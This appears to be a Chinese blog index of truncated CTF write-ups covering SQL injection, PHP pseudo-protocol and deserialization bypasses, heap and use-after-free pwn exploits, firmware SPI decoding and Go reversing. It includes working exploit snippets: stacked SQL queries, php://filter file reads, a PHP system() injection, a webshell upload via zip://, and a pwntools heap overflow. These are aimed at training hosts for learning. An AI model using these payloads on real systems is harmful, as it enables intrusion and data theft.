Web入门-SQL注入小结
Web入门-SQL注入小结做题[suctf 2019]EasySQL这题挺抽象的,正确解法是根据一段一段“Array([?]=>?)”的格式猜出有运算符“||”,然后改sql_mode使其成为字符串拼接运算符。
实际上这个后台语句为:
1select $post['query']||flag from Flag
exp:
1234import requestspayload1={'query':'1;set sql_mode=PIPES_AS_CONCAT;select 1'}response1=requests.post('http://node4.anna.nssctf.cn:28128/',data=payload1)print(response1.text[-47:-2])
注意最后一个“1”不能换成字母,否则就和字符串“flag”拼接起来了,在这里是分别查询“1”和“flag”值的意思。
[SWPUCTF 2021 新生赛]erro1sqlmap -u ht ...
Web入门-PHP伪协议
Web入门-PHP伪协议基础知识zip伪协议新建zip压缩文件并改名为xxxx.png,其中包含PHP一句话木马1.php,于是上传:
1?fp=zip://uploads/xxxx.png%231
其中%23为井号,后面1会补全为1.php。
做题[SWPUCTF 2021 新生赛]PseudoProtocolshint.php读取方法:
1?wllm=php://filter/read=convert.base64-encode/resource=hint.php
以文件形式读取:
1?a=data://text/plain,I want flag
exp:
12345678import requests,base64response1=requests.get('http://node4.anna.nssctf.cn:28518/index.php?wllm=php://filter/read=convert.base64-encode/resource=hint.php')tmp1=response1.text[-56:]tmp2=base64.b64 ...
Web入门-入门泛做题
Web入门-入门泛做题[LitCTF 2023]我Flag呢?略。
[LitCTF 2023]PHP是世界上最好的语言!!123456789101112from selenium import webdriverimport timebrowser=webdriver.Edge()browser.get('http://node5.anna.nssctf.cn:28327/')elem1=browser.find_element_by_id('php_code');elem1.send_keys("<?phpsystem(\"cat ../../../flag\");?>")elem2=browser.find_element_by_id('run');elem2.click()time.sleep(1)elem3=browser.find_element_by_id('run_result');print(elem3.text[-44:]);browse ...
Web入门-PHP反序列化漏洞
Web入门-PHP反序列化漏洞[SWPUCTF 2021 新生赛]no_wakeup反序列化时触发__wakeup函数,考虑绕开。
12345$aa = new HaHaHa();$aa->admin = "admin";$aa->passwd = "wllm";$stus = serialize($aa);print_r($stus); //O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
CVE-2016-7124:当参数列表中成员个数与实际不符时绕过__wakeup函数,构造:
1O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
...
PWN入门-整数溢出
PWN入门-整数溢出基础知识宽度溢出&整形提升12345678910111213141516171819#include <cstdio>void main(void){ int l=0xabcddcba; short s=l; char c=l; //宽度溢出 printf("l=0x%x(%d bits)\n",l,sizeof(l)*8); printf("s=0x%x(%d bits)\n",s,sizeof(s)*8); printf("c=0x%x(%d bits)\n",c,sizeof(c)*8); //整形提升 printf("s+c=0x%x(%d bits)\n",s+c,sizeof(s+c)*8); return 0;};/* l=0xabcddcba(32 bits) s=0xffffdcba(16 bits) c=0xffffffba(8 bits) s+ ...
PWN入门-UAF
PWN入门-UAF[NISACTF 2022]UAFUAF(Use After Free)。当堆上的一块空间被释放后没有赋值为NULL时,下一次分配还会分配到这一块堆,且数据依然保留。
思路如下:
利用create创建“note 0”,并malloc给.bss段上的page。*(_DWORD *)page处为字符串地址,*((_DWORD *)page+1)处为函数指针。
利用del将page[0]给free掉,但并未赋值为NULL。道理类似于栈,堆顶下移但free掉的数据仍然保留。
漏洞点在show中,但不接受参数0,所以要将序号推到1再进行shellcode写入。
再次create“note 1”,并edit时注入shellcode,这时。在+0偏移处写入4字节(i386架构)“sh\x00\x00”,偏移+4处写入后门NICO地址。
最后show“note 0”时,page[0]依然指向create“note 1”时分配的堆,并在(*((void (__cdecl **)(char *))page + 1))(page);处执行shellcode。
123456789101112 ...
固件安全入门
固件安全入门[HGAME 2023 week1]Help marvinSPI通信协议,拿PulseView打开,新建一条SPI解码器。一共4条线分别为:
SCK时钟信号线,这里管脚选择D0,信号较为密集。
MISO主设备输入/从设备输出引脚,这里缺省。
MOSI主设备输出/从设备输入引脚,这里管脚选择D2,信号较稀松。
Chip Select/CS_N片选信号线,这里管脚选择D1,只有零星的高电位。
16进制导出即可。
PWN入门-堆溢出漏洞
PWN入门-堆溢出漏洞[NISACTF 2022]ezheap实际堆栈分配大小计算式:
1real_size=(allocated_size+0x4+0x7)&~0x7
exp:
12345678910from pwn import *context(log_level='debug',os='linux',arch='i386')p=remote("node5.anna.nssctf.cn",28346)allocated_size=0x16real_size=(allocated_size+0x4+0x7)&~0x7heap_overflow=cyclic(real_size)shellcode=b'/bin/sh\x00'payload1=flat([heap_overflow,shellcode])p.sendline(payload1)p.interactive()
PWN入门-pwndbg基本使用
PWN入门-pwndbg基本使用1234567891011121314151617181920212223file attachment #打开程序attachmentrun #从头开始运行start #运行到入口点 一般为mainb *地址 #某地址下断点b main #某符号下断点n #步过s #单步c #断点后运行i b #查看已有断点i r #查看所有寄存器的值stack 20 #查看20层栈disass main #反汇编符号p *地址 #查看某地址的值p &func #查看某符号函数的地址set *地址=值 #将某地址处改值d b 断点编号 #删除某断点disable b 断点编号 #禁用某断点enable b 断点编号 #启用某断点r<payload.dat #程序标准输入从文件payload.dat输入x/20i $rip #查看从寄存器rip指向的地址开始20条汇编指令x/20g 地址 #查看地址内容 20行 每行8字节search xxx #查找某内容地址distance 地址 地址 #计算俩地址距离
Go语言逆向随想录
Go语言逆向随想录启动主函数名叫main_main,以main_开头的函数即为用户函数,后半函数名即为真实函数名。启动从os_init函数初始化。
标准输入输出输出函数名叫fmt_Fprintln,第一个参数为(__int64)&go_itab__ptr_os_File_comma__ptr_io_Writer,第三个参数为结构体变量例如(__int64)v1。v1结构如下:
12v1[0]=(__int64)&PTYPE_string;v1[1]=(__inat64)&off_xxxxxx; //即为输出字符串偏移
输入函数名叫fmt_Fscanln,第一个参数为(__int64)go_itab__ptr_os_File_comma__ptr_io_Writer,第三个参数为结构体变量例如(__int64)v1。v1结构如下:
12v1[0]=(__int64)&RTYPE__ptr_string;v1[1]=(__int64)p_string;
p_string的定义如下:
1p_string=(string *)runtime_newobjec ...